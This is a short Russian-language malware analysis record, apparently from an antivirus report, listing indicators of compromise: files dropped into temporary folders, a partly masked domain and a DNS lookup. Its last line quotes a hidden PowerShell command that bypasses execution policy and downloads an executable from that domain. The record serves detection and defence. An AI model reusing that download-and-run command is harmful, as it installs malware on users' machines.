Техническая информация
- http://fa#####liftposter.com/exploit/reported.exe как %appdata%\reported.exe
- %TEMP%\abdtfhgygeghdpВЌ.sct
- %TEMP%\user-status-pending-symbolic.symbolic.png
- %TEMP%\touch-disabled-symbolic.symbolic.png
- %TEMP%\system-shutdown.png
- %TEMP%\media-playback-pause-symbolic.svg
- %TEMP%\libpixbufloader-pnm.dll
- %TEMP%\battery-empty.png
- %TEMP%\basswasapi.dll
- %TEMP%\view-list-symbolic.svg
- %TEMP%\application-x-firmware-symbolic.svg
- %TEMP%\system.runtime.serialization.formatters.dll
- %TEMP%\system.io.dll
- %TEMP%\cantarell-extrabold.otf
- %TEMP%\airways_6.bmp
- %TEMP%\procedured.dat
- %TEMP%\nsa29fd.tmp
- %APPDATA%\reported.exe
- %TEMP%\application-x-executable-symbolic.svg
- %TEMP%\nsa2f7a.tmp\system.dll
- 'fa#####liftposter.com':80
- http://fa#####liftposter.com/exploit/Reported.exe
- DNS ASK fa#####liftposter.com
- '%APPDATA%\reported.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://fa#####liftposter.com/exploit/Reported.exe','%APPDATA%\Reported.exe');...' (со скрытым окном)